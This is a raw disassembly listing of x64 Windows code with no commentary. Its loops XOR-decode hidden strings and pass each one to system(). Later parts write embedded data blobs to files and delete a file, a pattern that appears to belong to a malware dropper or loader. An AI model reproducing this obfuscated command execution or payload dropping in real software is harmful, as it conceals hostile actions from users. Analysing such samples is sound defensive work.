xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x14005a010
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x48b9]
lea rcx, [rbp + 0xa3]
mov byte [rbp + 0xa3], al
call fcn.14006eb00
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x14005a1c1
mov r8d, esi
cmp r15d, 2
jl 0x14005a183
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a090
cmp r8d, 0x3e
jge 0x14005a1c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3e
jl 0x14005a190
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4fc0]
lea rcx, [rbp + 0xa4]
mov byte [rbp + 0xa4], al
call fcn.14006eb50
mov r10, rax
cmp byte [rax + 0x40], 0
je 0x14005a341
mov r8d, esi
cmp r15d, 2
jl 0x14005a303
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x14005a210
cmp r8d, 0x41
jge 0x14005a341
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x14005a310
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4840]
lea rcx, [rbp + 0xa5]
mov byte [rbp + 0xa5], al
call fcn.14006eb90
mov r10, rax
cmp byte [rax + 0x3b], 0
je 0x14005a4c1
mov r8d, esi
cmp r15d, 2
jl 0x14005a483
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a390
cmp r8d, 0x3c
jge 0x14005a4c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3c
jl 0x14005a490
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3ed5]
lea rcx, [rbp + 0xa6]
mov byte [rbp + 0xa6], al
call fcn.14006ebd0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005a641
mov r8d, esi
cmp r15d, 2
jl 0x14005a603
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005a510
cmp r8d, 0x32
jge 0x14005a641
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005a610
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x42a0]
lea rcx, [rbp + 0xa7]
mov byte [rbp + 0xa7], al
call fcn.14006ec00
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005a7c1
mov r8d, esi
cmp r15d, 2
jl 0x14005a783
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005a690
cmp r8d, 0x34
jge 0x14005a7c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14005a790
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3681]
lea rcx, [rbp + 0xa8]
mov byte [rbp + 0xa8], al
call fcn.14006ec30
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005a941
mov r8d, esi
cmp r15d, 2
jl 0x14005a903
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a810
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14005a910
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4638]
lea rcx, [rbp + 0xa9]
mov byte [rbp + 0xa9], al
call fcn.14006ec60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14005aaaa
mov r8d, esi
cmp r15d, 2
jl 0x14005aa7d
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x37e3]
lea rcx, [rbp + 0xaa]
mov byte [rbp + 0xaa], al
call fcn.14006eca0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14005ac31
cmp byte [0x14155690a], 0
je 0x14006aa51
xor eax, eax
movabs rcx, 0x24a8ffc9df2bef68
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62a0], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62a8], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62b0], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62b8], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62c0], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62c8], rax
movabs rax, 0x3d42f2b2c3daa2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62d0], rax
movabs rax, 0xeb9936fd36f0d2ad
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62d8], rax
movabs rax, 0x52167864a83e716a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62e0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62e8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5840], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5848], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5850], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5858], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5860], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5868], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5870], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5878], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5880], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5840]
mov qword [rbp + 0x5888], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x62a0]
vmovdqa xmm2, xmmword [rbp + 0x62e0]
lea rdx, [rbp + 0x62a0]
vmovdqu ymm0, ymmword [rbp + 0x5860]
vxorps xmm2, xmm2, xmmword [rbp + 0x5880]
lea rcx, [rbp + 0x33e0]
vmovdqa ymmword [rbp + 0x62a0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x62c0]
vmovdqa ymmword [rbp + 0x62c0], ymm1
vmovdqa xmmword [rbp + 0x62e0], xmm2
vzeroupper
call fcn.140073640
mov r8d, 0x813
lea rdx, [0x140185640]
lea rcx, [rbp + 0x33e0]
call fcn.14003de10
lea rcx, [rbp + 0x33e0]
call fcn.1400735d0
xor eax, eax
lea rdx, [rbp + 0x36c4]
lea rcx, [rbp + 0x14b]
mov byte [rbp + 0x14b], al
call fcn.140072080
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006a8c1
mov r8d, esi
cmp r15d, 2
jl 0x14006a883
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006a790
cmp r8d, 0x23
jge 0x14006a8c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14006a890
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x36e7]
lea rcx, [rbp + 0x14c]
mov byte [rbp + 0x14c], al
call fcn.140072080
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006aa41
mov r8d, esi
cmp r15d, 2
jl 0x14006aa03
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006a910
cmp r8d, 0x23
jge 0x14006aa41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14006aa10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x14155690a], 0
cmp byte [0x141557600], 0
je 0x14006af0a
xor eax, eax
lea rdx, [rbp + 0x5450]
lea rcx, [rbp + 0x14d]
mov byte [rbp + 0x14d], al
call fcn.1400720b0
mov r10, rax
cmp word [rax + 0x48], 0
je 0x14006abd5
mov r8d, esi
cmp r15d, 2
jl 0x14006ab99
movdqa xmm4, xmmword [0x1400c5f20]
mov rcx, rax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14006aaa0
cmp r8d, 0x25
jge 0x14006abd5
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x25
jl 0x14006aba0
mov rdx, r10
lea rcx, [rbp + 0x3400]
call fcn.140073640
mov r8d, 0x60a00
lea rdx, [0x1401918e0]
lea rcx, [rbp + 0x3400]
call fcn.14003de10
lea rcx, [rbp + 0x3400]
call fcn.1400735d0
xor eax, eax
lea rdx, [rbp + 0x3808]
lea rcx, [rbp + 0x14e]
mov byte [rbp + 0x14e], al
call fcn.140072100
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006ad81
mov r8d, esi
cmp r15d, 2
jl 0x14006ad43
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006ac50
cmp r8d, 0x25
jge 0x14006ad81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14006ad50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x382d]
lea rcx, [rbp + 0x14f]
mov byte [rbp + 0x14f], al
call fcn.140072100
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006af01
mov r8d, esi
cmp r15d, 2
jl 0x14006aec3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
